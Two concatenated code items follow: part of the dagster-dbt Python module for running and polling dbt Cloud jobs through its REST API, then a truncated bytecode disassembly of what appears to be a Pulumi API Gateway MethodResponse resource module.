You can find this value by going to the details page of your run in the dbt Cloud UI. It will be the final number in the url, e.g.: ``https://cloud.getdbt.com/#/accounts/{account_id}/projects/{project_id}/runs/{run_id}/`` step (int): The index of the step in the run to query for artifacts. The first step in the run has the index 1. If the step parameter is omitted, then this endpoint will return the artifacts compiled for the last step in the run. Returns: Dict[str, Any]: Parsed contents of the manifest.json file """ return json.loads(self.get_run_artifact(run_id, "manifest.json", step=step)) def get_run_results( self, run_id: int, step: Optional[int] = None ) -> Mapping[str, Any]: """The parsed contents of a run_results.json file created by a completed run. Args: run_id (int): The ID of the relevant dbt Cloud run. You can find this value by going to the details page of your run in the dbt Cloud UI. It will be the final number in the url, e.g.: ``https://cloud.getdbt.com/#/accounts/{account_id}/projects/{project_id}/runs/{run_id}/`` step (int): The index of the step in the run to query for artifacts. The first step in the run has the index 1. If the step parameter is omitted, then this endpoint will return the artifacts compiled for the last step in the run. Returns: Dict[str, Any]: Parsed contents of the run_results.json file """ return json.loads(self.get_run_artifact(run_id, "run_results.json", step=step)) def poll_run( self, run_id: int, poll_interval: float = DEFAULT_POLL_INTERVAL, poll_timeout: Optional[float] = None, href: Optional[str] = None, ) -> Mapping[str, Any]: """Polls a dbt Cloud job run until it completes. Will raise a `dagster.Failure` exception if the run does not complete successfully. Args: run_id (int): The ID of the relevant dbt Cloud run. You can find this value by going to the details page of your run in the dbt Cloud UI. It will be the final number in the url, e.g.: ``https://cloud.getdbt.com/#/accounts/{account_id}/projects/{project_id}/runs/{run_id}/`` poll_interval (float): The time (in seconds) that should be waited between successive polls of the dbt Cloud API. poll_timeout (float): The maximum time (in seconds) that should be waited for this run to complete. If this threshold is exceeded, the run will be cancelled and an exception will be thrown. By default, this will poll forver. href (str): For internal use, generally should not be set manually. Returns: Dict[str, Any]: A dictionary containing the parsed contents of the dbt Cloud run details. See: https://docs.getdbt.com/dbt-cloud/api-v2#operation/getRunById for schema. """ status: Optional[str] = None if href is None: href = self.get_run(run_id).get("href") assert isinstance(href, str), "Run must have an href" poll_start = datetime.datetime.now() try: while True: run_details = self.get_run(run_id) status = run_details["status_humanized"] self._log.info(f"Polled run {run_id}. Status: [{status}]") if status == DbtCloudRunStatus.SUCCESS: return self.get_run( run_id, include_related=["job", "trigger", "run_steps"] ) elif status in [DbtCloudRunStatus.ERROR, DbtCloudRunStatus.CANCELLED]: break elif status not in [ DbtCloudRunStatus.QUEUED, DbtCloudRunStatus.STARTING, DbtCloudRunStatus.RUNNING, ]: check.failed( f"Received unexpected status '{status}'. This should never happen" ) if ( poll_timeout and datetime.datetime.now() > poll_start + datetime.timedelta(seconds=poll_timeout) ): self.cancel_run(run_id) raise Failure( f"Run {run_id} timed out after " f"{datetime.datetime.now() - poll_start}. Attempted to cancel.", metadata={"run_page_url": MetadataValue.url(href)}, ) time.sleep(poll_interval) finally: if status not in ( DbtCloudRunStatus.SUCCESS, DbtCloudRunStatus.ERROR, DbtCloudRunStatus.CANCELLED, ): self.cancel_run(run_id) run_details = self.get_run(run_id, include_related=["trigger"]) raise Failure( f"Run {run_id} failed. Status Message: {run_details['status_message']}", metadata={ "run_details": MetadataValue.json(run_details), "run_page_url": MetadataValue.url(href), }, ) def run_job_and_poll( self, job_id: int, poll_interval: float = DEFAULT_POLL_INTERVAL, poll_timeout: Optional[float] = None, **kwargs, ) -> DbtCloudOutput: """Runs a dbt Cloud job and polls until it completes. Will raise a `dagster.Failure` exception if the run does not complete successfully. Args: job_id (int): The ID of the relevant dbt Cloud job. You can find this value by going to the details page of your job in the dbt Cloud UI. It will be the final number in the url, e.g.: ``https://cloud.getdbt.com/#/accounts/{account_id}/projects/{project_id}/jobs/{job_id}/`` poll_interval (float): The time (in seconds) that should be waited between successive polls of the dbt Cloud API. poll_timeout (float): The maximum time (in seconds) that should be waited for this run to complete. If this threshold is exceeded, the run will be cancelled and an exception will be thrown. By default, this will poll forver. Returns: :py:class:`~DbtCloudOutput`: Class containing details about the specific job run and the parsed run results. """ run_details = self.run_job(job_id, **kwargs) run_id = run_details["id"] href = run_details["href"] final_run_details = self.poll_run( run_id, poll_interval=poll_interval, poll_timeout=poll_timeout, href=href ) try: run_results = self.get_run_results(run_id) except Failure: self._log.info( "run_results.json not available for this run. Defaulting to empty value." ) run_results = {} output = DbtCloudOutput(run_details=final_run_details, result=run_results) if output.docs_url: self._log.info(f"Docs for this run can be viewed here: {output.docs_url}") return output def get_job_environment_variables( self, project_id: int, job_id: int ) -> Mapping[str, Any]: """Get the dbt Cloud environment variables for a specific job. Args: project_id (int): The ID of the relevant dbt Cloud project. You can find this value by going to your account settings in the dbt Cloud UI. It will be the final number in the url, e.g.: ``https://cloud.getdbt.com/next/settings/accounts/{account_id}/projects/{project_id}/`` job_id (int): The ID of the relevant dbt Cloud job. You can find this value by going to the details page of your job in the dbt Cloud UI. It will be the final number in the url, e.g.: ``https://cloud.getdbt.com/#/accounts/{account_id}/projects/{project_id}/jobs/{job_id}/`` """ return self.make_request( "GET", f"{self._account_id}/projects/{project_id}/environment-variables/job", params={"job_definition_id": job_id}, base_url=self.api_v3_base_url, ) def set_job_environment_variable( self, project_id: int, job_id: int, environment_variable_id: int, name: str, value: str, ) -> Mapping[str, Any]: """Set the dbt Cloud environment variables for a specific job. Args: project_id (int): The ID of the relevant dbt Cloud project. You can find this value by going to your account settings in the dbt Cloud UI. It will be the final number in the url, e.g.: ``https://cloud.getdbt.com/next/settings/accounts/{account_id}/projects/{project_id}/`` job_id (int): The ID of the relevant dbt Cloud job. You can find this value by going to the details page of your job in the dbt Cloud UI. It will be the final number in the url, e.g.: ``https://cloud.getdbt.com/#/accounts/{account_id}/projects/{project_id}/jobs/{job_id}/`` name (str): The name of the environment variable to set. value (str): The raw value of the environment variable. """ return self.make_request( "POST", f"{self._account_id}/projects/{project_id}/environment-variables/{environment_variable_id}", data={ "id": environment_variable_id, "account_id": self._account_id, "project_id": project_id, "job_definition_id": job_id, "type": "job", "name": name, "raw_value": value, }, base_url=self.api_v3_base_url, ) class DbtCloudResource(DbtCloudClient): pass class DbtCloudClientResource(ConfigurableResource, IAttachDifferentObjectToOpContext): """This resource helps interact with dbt Cloud connectors.""" auth_token: str = Field( description=( "dbt Cloud API Token. User tokens can be found in the [dbt Cloud" " UI](https://cloud.getdbt.com/#/profile/api/), or see the [dbt Cloud" " Docs](https://docs.getdbt.com/docs/dbt-cloud/dbt-cloud-api/service-tokens) for" " instructions on creating a Service Account token." ), ) account_id: int = Field( description=( "dbt Cloud Account ID. This value can be found in the url of a variety of views in" " the dbt Cloud UI, e.g." " https://cloud.getdbt.com/#/accounts/{account_id}/settings/." ), ) disable_schedule_on_trigger: bool = Field( default=True, description=( "Specifies if you would like any job that is triggered using this " "resource to automatically disable its schedule." ), ) request_max_retries: int = Field( default=3, description=( "The maximum number of times requests to the dbt Cloud API should be retried " "before failing." ), ) request_retry_delay: float = Field( default=0.25, description="Time (in seconds) to wait between each request retry.", ) dbt_cloud_host: str = Field( default=DBT_DEFAULT_HOST, description=( "The hostname where dbt cloud is being hosted (e.g. https://my_org.cloud.getdbt.com/)." ), ) @classmethod def _is_dagster_maintained(cls) -> bool: return True def get_dbt_client(self) -> DbtCloudClient: context = self.get_resource_context() assert context.log return DbtCloudClient( auth_token=self.auth_token, account_id=self.account_id, disable_schedule_on_trigger=self.disable_schedule_on_trigger, request_max_retries=self.request_max_retries, request_retry_delay=self.request_retry_delay, log=context.log, dbt_cloud_host=self.dbt_cloud_host, ) def get_object_to_set_on_execution_context(self) -> Any: return self.get_dbt_client() @dagster_maintained_resource @resource( config_schema=DbtCloudClientResource.to_config_schema(), description="This resource helps interact with dbt Cloud connectors", ) def dbt_cloud_resource(context) -> DbtCloudResource: """This resource allows users to programatically interface with the dbt Cloud Administrative REST API (v2) to launch jobs and monitor their progress. This currently implements only a subset of the functionality exposed by the API. For a complete set of documentation on the dbt Cloud Administrative REST API, including expected response JSON schemae, see the `dbt Cloud API Docs <https://docs.getdbt.com/dbt-cloud/api-v2>`_. To configure this resource, we recommend using the `configured <https://docs.dagster.io/concepts/configuration/configured>`_ method. **Examples:** .. code-block:: python from dagster import job from dagster_dbt import dbt_cloud_resource my_dbt_cloud_resource = dbt_cloud_resource.configured( { "auth_token": {"env": "DBT_CLOUD_AUTH_TOKEN"}, "account_id": {"env": "DBT_CLOUD_ACCOUNT_ID"}, } ) @job(resource_defs={"dbt_cloud": my_dbt_cloud_resource}) def my_dbt_cloud_job(): ... """ return DbtCloudResource( auth_token=context.resource_config["auth_token"], account_id=context.resource_config["account_id"], disable_schedule_on_trigger=context.resource_config[ "disable_schedule_on_trigger" ], request_max_retries=context.resource_config["request_max_retries"], request_retry_delay=context.resource_config["request_retry_delay"], log=context.log, dbt_cloud_host=context.resource_config["dbt_cloud_host"], )
data/dagster-dbt-0.22.5/dagster_dbt/cloud/resources.py
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LOAD_CONST 0 LOAD_CONST None IMPORT_NAME copy STORE_NAME copy LOAD_CONST 0 LOAD_CONST None IMPORT_NAME warnings STORE_NAME warnings LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pulumi STORE_NAME pulumi LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pulumi.runtime STORE_NAME pulumi LOAD_CONST 0 LOAD_CONST ('Any', 'Mapping', 'Optional', 'Sequence', 'Union', 'overload') IMPORT_NAME typing IMPORT_FROM Any STORE_NAME Any IMPORT_FROM Mapping STORE_NAME Mapping IMPORT_FROM Optional STORE_NAME Optional IMPORT_FROM Sequence STORE_NAME Sequence IMPORT_FROM Union STORE_NAME Union IMPORT_FROM overload STORE_NAME overload POP_TOP LOAD_CONST 2 LOAD_CONST ('_utilities',) IMPORT_NAME IMPORT_FROM _utilities STORE_NAME _utilities POP_TOP LOAD_CONST 'MethodResponseArgs' LOAD_CONST 'MethodResponse' BUILD_LIST STORE_NAME __all__ LOAD_NAME pulumi LOAD_ATTR input_type LOAD_BUILD_CLASS LOAD_CONST <code object MethodResponseArgs at 0x7fab8239adb0, file "f.py", line 11> LOAD_CONST 'MethodResponseArgs' MAKE_FUNCTION LOAD_CONST 'MethodResponseArgs' CALL_FUNCTION CALL_FUNCTION STORE_NAME MethodResponseArgs LOAD_NAME pulumi LOAD_ATTR input_type LOAD_BUILD_CLASS LOAD_CONST <code object _MethodResponseState at 0x7fab703068a0, file "f.py", line 128> LOAD_CONST '_MethodResponseState' MAKE_FUNCTION LOAD_CONST '_MethodResponseState' CALL_FUNCTION CALL_FUNCTION STORE_NAME _MethodResponseState LOAD_BUILD_CLASS LOAD_CONST <code object MethodResponse at 0x7fab821e7810, file "f.py", line 249> LOAD_CONST 'MethodResponse' MAKE_FUNCTION LOAD_CONST 'MethodResponse' LOAD_NAME pulumi LOAD_ATTR CustomResource CALL_FUNCTION STORE_NAME MethodResponse LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'MethodResponseArgs' STORE_NAME __qualname__ LOAD_CONST None LOAD_CONST None LOAD_CONST ('response_models', 'response_parameters') BUILD_CONST_KEY_MAP LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME bool BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('http_method', 'resource_id', 'rest_api', 'status_code', 'response_models', 'response_parameters') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fab822586f0, file "f.py", line 13> LOAD_CONST 'MethodResponseArgs.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'httpMethod' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object http_method at 0x7fab822589c0, file "f.py", line 45> LOAD_CONST 'MethodResponseArgs.http_method' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME http_method LOAD_NAME http_method LOAD_ATTR setter LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object http_method at 0x7fab82258030, file "f.py", line 53> LOAD_CONST 'MethodResponseArgs.http_method' MAKE_FUNCTION CALL_FUNCTION STORE_NAME http_method LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'resourceId' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object resource_id at 0x7fab82258660, file "f.py", line 57> LOAD_CONST 'MethodResponseArgs.resource_id' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME resource_id LOAD_NAME resource_id LOAD_ATTR setter LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object resource_id at 0x7fab82258d20, file "f.py", line 65> LOAD_CONST 'MethodResponseArgs.resource_id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME resource_id LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'restApi' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object rest_api at 0x7fab82258b70, file "f.py", line 69> LOAD_CONST 'MethodResponseArgs.rest_api' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME rest_api LOAD_NAME rest_api LOAD_ATTR setter LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object rest_api at 0x7fab8239ab70, file "f.py", line 77> LOAD_CONST 'MethodResponseArgs.rest_api' MAKE_FUNCTION CALL_FUNCTION STORE_NAME rest_api LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'statusCode' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object status_code at 0x7fab8239af60, file "f.py", line 81> LOAD_CONST 'MethodResponseArgs.status_code' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME status_code LOAD_NAME status_code LOAD_ATTR setter LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object status_code at 0x7fab8239a8a0, file "f.py", line 89> LOAD_CONST 'MethodResponseArgs.status_code' MAKE_FUNCTION CALL_FUNCTION STORE_NAME status_code LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'responseModels' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object response_models at 0x7fab8239aae0, file "f.py", line 93> LOAD_CONST 'MethodResponseArgs.response_models' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME response_models LOAD_NAME response_models LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object response_models at 0x7fab8239a930, file "f.py", line 103> LOAD_CONST 'MethodResponseArgs.response_models' MAKE_FUNCTION CALL_FUNCTION STORE_NAME response_models LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'responseParameters' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME bool BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object response_parameters at 0x7fab8239aa50, file "f.py", line 109> LOAD_CONST 'MethodResponseArgs.response_parameters' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME response_parameters LOAD_NAME response_parameters LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME bool BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object response_parameters at 0x7fab8239ad20, file "f.py", line 121> LOAD_CONST 'MethodResponseArgs.response_parameters' MAKE_FUNCTION CALL_FUNCTION STORE_NAME response_parameters LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'http_method' LOAD_FAST http_method CALL_METHOD POP_TOP LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'resource_id' LOAD_FAST resource_id CALL_METHOD POP_TOP LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'rest_api' LOAD_FAST rest_api CALL_METHOD POP_TOP LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'status_code' LOAD_FAST status_code CALL_METHOD POP_TOP LOAD_FAST response_models LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'response_models' LOAD_FAST response_models CALL_METHOD POP_TOP LOAD_FAST response_parameters LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'response_parameters' LOAD_FAST response_parameters CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'http_method' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'http_method' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'resource_id' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'resource_id' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'rest_api' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'rest_api' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'status_code' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'status_code' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'response_models' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'response_models' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'response_parameters' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'response_parameters' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST '_MethodResponseState' STORE_NAME __qualname__ LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST ('http_method', 'resource_id', 'response_models', 'response_parameters', 'rest_api', 'status_code') BUILD_CONST_KEY_MAP LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME bool BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('http_method', 'resource_id', 'response_models', 'response_parameters', 'rest_api', 'status_code') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fab8239ac00, file "f.py", line 130> LOAD_CONST '_MethodResponseState.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'httpMethod' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object http_method at 0x7fab703065d0, file "f.py", line 166> LOAD_CONST '_MethodResponseState.http_method' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME http_method LOAD_NAME http_method LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object http_method at 0x7fab703064b0, file "f.py", line 174> LOAD_CONST '_MethodResponseState.http_method' MAKE_FUNCTION CALL_FUNCTION STORE_NAME http_method LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'resourceId' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object resource_id at 0x7fab70306390, file "f.py", line 178> LOAD_CONST '_MethodResponseState.resource_id' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME resource_id LOAD_NAME resource_id LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object resource_id at 0x7fab70306930, file "f.py", line 186> LOAD_CONST '_MethodResponseState.resource_id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME resource_id LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'responseModels' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object response_models at 0x7fab70306c90, file "f.py", line 190> LOAD_CONST '_MethodResponseState.response_models' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME response_models LOAD_NAME response_models LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object response_models at 0x7fab70306a50, file "f.py", line 200> LOAD_CONST '_MethodResponseState.response_models' MAKE_FUNCTION CALL_FUNCTION STORE_NAME response_models LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'responseParameters' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME bool BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object response_parameters at 0x7fab70306ed0, file "f.py", line 206> LOAD_CONST '_MethodResponseState.response_parameters' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME response_parameters LOAD_NAME response_parameters LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME bool BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object response_parameters at 0x7fab703066f0, file "f.py", line 218> LOAD_CONST '_MethodResponseState.response_parameters' MAKE_FUNCTION CALL_FUNCTION STORE_NAME response_parameters LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'restApi' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object rest_api at 0x7fab70306270, file "f.py", line 224> LOAD_CONST '_MethodResponseState.rest_api' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME rest_api LOAD_NAME rest_api LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object rest_api at 0x7fab70306660, file "f.py", line 232> LOAD_CONST '_MethodResponseState.rest_api' MAKE_FUNCTION CALL_FUNCTION STORE_NAME rest_api LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'statusCode' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object status_code at 0x7fab70306b70, file "f.py", line 236> LOAD_CONST '_MethodResponseState.status_code' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME status_code LOAD_NAME status_code LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object status_code at 0x7fab70306db0, file "f.py", line 244> LOAD_CONST '_MethodResponseState.status_code' MAKE_FUNCTION CALL_FUNCTION STORE_NAME status_code LOAD_CONST None RETURN_VALUE LOAD_FAST http_method LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'http_method' LOAD_FAST http_method CALL_METHOD POP_TOP LOAD_FAST resource_id LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'resource_id' LOAD_FAST resource_id CALL_METHOD POP_TOP LOAD_FAST response_models LOAD_CONST None COMPARE_OP is not 